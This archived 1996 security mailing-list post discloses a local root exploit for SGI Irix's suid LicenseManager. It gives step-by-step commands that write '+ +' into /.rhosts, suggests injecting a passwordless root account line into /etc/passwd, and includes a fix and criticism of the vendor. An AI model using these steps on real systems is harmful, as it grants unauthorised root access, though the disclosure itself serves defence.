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-
- Irix: root exploit for LicenseManager
-
- Yuri Volobuev (volobuev@t1.chem.umn.edu)
- Tue, 19 Nov 1996 13:30:19 -0600
-
- Hi there,
-
- For your convenience, a new, fast, reliable way to get root on your local
- SGI is given below. It works on Irix 5.3 and 6.x with
- license_eoe.sw.license_eoe installed, which I believe is default (I found it
- installed on several independent Irix installations). 5.2 doesn't seem to
- have it.
-
- This exploit was made possible by developers who make big, fat programs like
- LicenseManager suid.
-
- Short background: LicenseManager is GUI to license subsystem. It allows
- to install/remove/update FLEXlm and NET_LS licenses. Any regular user with
- access to X screen can run it, and it's suid. It will allow anyone to
- install licenses, and will prompt for root password if one wants to remove
- one. And that's about all protection it has.
-
- % setenv NETLS_LICENSE_FILE /.rhosts
- % /usr/etc/LicenseManager &
-
- Install...
- NetLS Node-locked
- Vendor Name: whatever
- Vendor ID: + +
- Product name: whatever
- License version: 1.000
- License version:
- Expiration date: 01-jan-0
-
- (in license version field I put space)
-
- Apply
-
- License(s) succesfully installed
-
- % cat /.rhosts
- #:# "whatever" "whatever" "1.000" "Incomplete"
- + +
-
- If your system has remote root logins disabled, replacing /.rhosts with
- /etc/passwd and + + with toor:0:0::/:/bin/sh will be helpful.
-
- How to fix:
-
- chmod -s /usr/etc/LicenseManager
-
- Comments:
-
- This whole thing makes me feel bad. There are genuine exploits, there are
- smart ones and lame ones. This one is superlame. Hacking suid program like
- LicenseManager is like stealing a milk bottle from a newborn, while baby's
- sleeping, parents are out of town and babysitter's in the bathroom.
-
- It is extremely well known that suid programs are very dangerous. It
- doesn't take a lot of knowledge to figure that suid program that big is
- vulnerable in zillion ways (and it is, I've just shown one of many). It's
- just not suitable to be suid because it does no sanity checks whatsoever.
- So why is it suid? Somebody wanted to make Irix GUI more user-friendly.
- Really, why not allow people to install licenses without bothering to su
- first? Alas, this is a clear case where security is sacrified in favor of
- (very questionable) ease of use. With all due disrespect, even Microsoft
- doesn't do things like that so easily.
-
- I notified SGI, but haven't heard back from them.
-
- have fun,
-
- yuri
-